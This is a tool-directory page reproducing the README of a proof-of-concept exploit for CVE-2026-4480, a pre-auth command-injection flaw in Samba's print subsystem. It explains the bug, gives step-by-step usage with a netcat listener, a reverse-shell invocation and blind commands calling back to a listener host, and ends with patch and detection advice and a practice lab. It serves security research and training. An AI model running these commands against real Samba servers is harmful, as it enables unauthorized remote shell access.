Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/thecybergeek/cve-2026-4480-poc
ExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubthecybergeek/cve-2026-4480-poc

CVE-2026-4480-PoC

Proof-of-concept exploit for CVE-2026-4480, an unauthenticated remote command execution in Samba's print subsystem via %J injection. Includes reverse shell and blind command execution modes, with detection and mitigation guidance.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
21533 months agoReviewed by Kitploit
Share

CVE-2026-4480: Samba print-command (%J) injection PoC

Important — Read this first:
This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written authorization. Unauthorized access to computer systems is illegal and unethical. By using this code you agree to follow applicable laws and institutional policies.

Unauthenticated remote command execution in Samba's print subsystem. When a print job finishes spooling, Samba runs the configured print command through system(), substituting %s (spool file path) and %J (client-supplied job name) into the string. Before the fix the job name was passed in with the single transformation ' → _ and nothing else, so , , , spaces, , and backticks all reach the shell. A that references is therefore a shell-injection sink, and since guests may submit print jobs, the issue is .

|
;
&
<
>
print command
%J
pre-auth
  • CVE: CVE-2026-4480
  • CVSS: 10.0
  • Fixed in: Samba 4.22.10, 4.23.8, 4.24.3
  • Affected: print backends running an external print command that references %J (printing = sysv-style). printing = cups / iprint go through the CUPS API and are not affected.

Requirements

  • Linux with the Samba Python bindings:
    root@kitploit:~
    sudo apt install python3-samba
    
  • Network access to the target's SMB port (445/139).
  • A guest-accessible printer share on the target whose print command references %J.

Usage

root@kitploit:~
python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
Arg / optionMeaning
rhostTarget Samba host / IP
lhostYour listener IP
lportYour listener port
-P, --printerGuest printer share name (default: HP-Reception)
-c, --cmdRun an arbitrary command instead of a reverse shell

Reverse shell

root@kitploit:~
# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444

You should catch a shell as the print service account (e.g. nobody).

Run a single command (blind)

root@kitploit:~
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

Because execution is blind (the command runs server-side and returns nothing on the RPC channel), confirm it out of band first, e.g. an ICMP callback you watch with tcpdump -ni tun0 icmp:

root@kitploit:~
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

Detection / mitigation

  • Patch to 4.22.10 / 4.23.8 / 4.24.3 (or later).
  • If you cannot patch, quote the macro: print command = /usr/local/bin/print-helper %s '%J', drop %J, or move to printing = cups.
  • Hunt for smbd spawning shells (sh/bash/nc/python/curl) and document names containing shell metacharacters.

Practice on HackTheBox

I have created a box on HackTheBox called Abducted to showcase the vulnerability and give you a hands on example of how attackers could leverage this in a misconfigured environment.

Download Tool